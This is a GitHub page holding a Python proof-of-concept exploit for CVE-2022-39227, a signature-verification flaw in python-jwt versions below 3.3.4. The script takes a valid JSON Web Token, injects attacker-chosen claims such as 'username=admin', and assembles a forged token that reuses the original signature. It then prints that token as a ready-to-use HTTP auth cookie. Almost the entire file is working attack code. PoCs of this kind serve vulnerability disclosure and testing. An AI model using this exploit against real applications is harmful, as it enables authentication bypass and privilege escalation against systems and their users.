-
Notifications
You must be signed in to change notification settings - Fork 1
/
cve_2022_39227.py
49 lines (41 loc) · 2.1 KB
/
cve_2022_39227.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
# Proof of concept for the CVE-2022-39227. According to this CVE, there is a flaw in the JSON Web Token verification. It is possible with a valid token to re-use its signature with moified claims.
#
# Application: python-jwt
# Infected version: < 3.3.4
# CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39227
#
# Dependencies: jwcrypto, json, argparse
# Author: user0x1337
# Github: https://github.com/user0x1337
#
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
import argparse
parser = argparse.ArgumentParser(prog='CVE-2022-39227-PoC', description='Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4')
parser.add_argument('-j', '--jwt_token', required=True, dest='token', help='Original and valid JWT Token returned by the application')
parser.add_argument('-i', '--injected_claim', required=True, dest='claim', help='Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims (e.g. username=admin,id=3)')
args = parser.parse_args()
# Split JWT in its ingredients
[header, payload, signature] = args.token.split(".")
print(f"[+] Retrieved base64 encoded payload: {payload}")
# Payload is relevant
parsed_payload = loads(base64url_decode(payload))
print(f"[+] Decoded payload: {parsed_payload}")
# Processing of the user input and inject new claims
try:
claims = args.claim.split(",")
for c in claims:
key, value = c.split("=")
parsed_payload[key.strip()] = value.strip()
except:
print("[-] Given claims are not in a valid format")
exit(1)
# merging. Generate a new payload
print(f'[+] Inject new "fake" payload: {parsed_payload}')
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print(f'[+] Fake payload encoded: {fake_payload}\n')
# Create a new JWT Web Token
new_payload = '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(f'[+] New token:\n {new_payload}\n')
print(f'Example (HTTP-Cookie):\n------------------------------\nauth={new_payload}')